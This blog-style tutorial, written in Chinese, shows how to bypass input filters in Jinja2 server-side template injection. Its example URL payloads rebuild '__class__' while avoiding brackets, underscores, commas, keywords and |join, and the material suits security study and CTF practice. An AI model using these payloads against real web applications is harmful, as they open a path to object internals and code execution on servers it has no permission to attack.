zoukankan      html  css  js  c++  java
  • python SSTI绕过

    原理
    首先以jinja2模板注入为例:
    {{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代绕过"["、"]"过滤
    绕过的方式也就是同义语句转化,下面给出其他的替换绕过"_"字符:
    ?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class
    等同于 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}
    等同于 ?exp={{request|attr(["__","class","__"]|join)}}
    等同于 ?exp={{request|attr("__class__")}}
    等同于 ?exp={{request.__class__}}

    下面给出一些绕过姿势,假如页面本身注入参数为exploit,想注入的的语句为request.__class__
    ①绕过 "]"、"["、"_"、class等关键字
    使用元组( )和通过传递另外的参数
    ?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class
    使用.getlist()优化(能够绕过",")
    {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
    ②绕过"|join"
    使用|format函数,可以通过传入格式字符串%s,再传入字符,来进行替换
    ?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
    )}}&f=%s%sclass%s%s&a=_

  • 相关阅读:
    0313学习进度条
    0311 了解和熟悉操作系统实验
    学习进度条博客
    0302 关于就业的感想
    1230递归下降语法分析程序设计
    有限自动机的构造和识别
    评论
    C语言文法
    编译原理第二次作业——词法分析心得
    0428团队项目2.0
  • 原文地址:https://www.cnblogs.com/cimuhuashuimu/p/11544445.html
Copyright © 2011-2022 走看看